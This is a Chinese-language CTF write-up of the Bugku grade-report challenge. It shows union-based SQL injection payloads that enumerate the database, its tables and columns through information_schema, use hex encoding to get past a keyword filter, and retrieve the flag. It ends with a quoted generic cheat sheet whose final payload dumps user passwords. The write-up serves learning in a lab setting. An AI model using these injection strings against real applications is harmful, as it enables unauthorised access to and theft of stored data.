bugku 成绩单详解
首先打开查询成绩的页面
在火狐浏览器下使用hackbar插件对页面进行post请求,分别依次输入id=1,2,3,4
当你这样去试了之后,就会发现当输入id=1,2,3,的时候分别有三个孩子的成绩,但是当id=4的时候,成绩单里面的成绩又为空了。
因此我们可以猜测数据库里面一共是有四列的
然后在此处利用内置函数database()爆破获取数据库的名字。
至于为什么使用union select 的时候再后面添加1,2,3,这几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来。
此处可以看出数据库的名字叫做skctf_flag
这里记一点零碎的知识:
mysql中的information_schema 结构用来存储数据库系统信息
用该语句得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码
现在我们去爆破表名
得到表名fl4g,sc,可知我们需要的数据在fl4g这个表里
将fl4g转换为十六进制(使用十六进制绕过敏感词)
得到表中的字段名 将敏感的表进行16进制编码
select group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
得到字段具体的值
select group_concat(username,0x3a,password) from adminuser
在此处我们构造union select 1,2,3,skctf_flag from fl4g#
即
爆破出BUGKU{Sql_INJECT0N_4813drd8hz4}
完成。
可以加我扣扣交流QQ:2585614464
在 HacTF的博客中看到的,这里引用一下,可以方便记忆,但是更具体的应该是需要系统的学习数据库的只是CIA能够掌握了,这也是自己下一个阶段的目标。
1.判断是否存在注入,注入是字符型还是数字型
抓包更改参数id为
1′ or 1=1 #
2.猜解SQL查询语句中的字段数
1 order by 2 #
1 order by 3 #
3.确定显示的字段顺序
1 union select 1,2 #
4.获取当前数据库
1 union select 1,database() #
5.获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
7.下载数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #